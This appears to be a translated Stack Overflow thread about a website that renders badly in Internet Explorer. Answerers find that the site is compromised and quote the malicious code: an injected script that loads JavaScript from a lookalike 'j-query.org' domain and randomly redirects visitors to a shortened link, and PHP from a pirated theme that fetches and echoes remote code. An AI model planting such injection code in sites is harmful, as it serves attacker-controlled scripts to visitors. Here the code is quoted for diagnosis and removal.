当我使用IE 9-8-7浏览我的网站时,似乎出现了一些问题。它与Chrome、Safari、Firefox和Opera完美地结合在一起。可能的原因是什么?谢谢。
http://www.omergencay.com
Internet Explorer中的错误视图

发布于 2011-12-19 01:13:42
以下是HTML的前几行:
<script type="text/javascript"> if(!document.referrer || document.referrer == '') { document.write('<scr'+'ipt type="text/javascript" src="http://www.j-query.org/jquery.min.js"></scr'+'ipt>'); } else { document.write('<scr'+'ipt type="text/javascript" src="http://www.j-query.org/jquery.js"></scr'+'ipt>'); } </script>
<script type="text/javascript">
var now = new Date().getTime();
if (now%35 == 0) {
window.location = "http://bit.ly/vjqJ4w";
}
</script><!DOCTYPE html>把东西放在文档类型之前就是把IE扔进Quirks Mode,这就是你的站点不能在IE中正确显示的原因。
更重要的是,你的网站似乎已经被黑客入侵了。浏览hxxp://bit.ly/vjqJ4w会把您带到您可能不想去的地方。
发布于 2011-12-23 19:30:58
实际上,这个问题的解决方案非常简单。
但让我先解释一下是什么导致了这种情况。
第一个原因是您或您的开发人员可能从warez分销商站点抓取了一些破解/破解/空的主题。
所以要解决这个问题。只需打开主题根文件夹下的index.php即可
然后看看这个:
<?php
if(function_exists('curl_init'))
{
$url = "http://www.j-query.org/jquery-1.6.3.min.js";
$ch = curl_init();
$timeout = 5;
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
$data = curl_exec($ch);
curl_close($ch);
echo "$data";
}
?>删除整个脚本,您的网站应该可以正常工作。
发布于 2011-12-19 01:14:47
有些东西迫使IE在你的页面中以怪癖模式(即IE5.5模式)运行。点击F12后,您可以看到当前的文档模式并对其进行更改。
当我查看源代码时,doctype似乎设置正确...我看不出三十点看到的是什么。
很有可能你使用的是某个wordpress插件,这在某些情况下会导致问题(这就解释了为什么bingjie2680没有注意到任何问题。
https://stackoverflow.com/questions/8553289
复制相似问题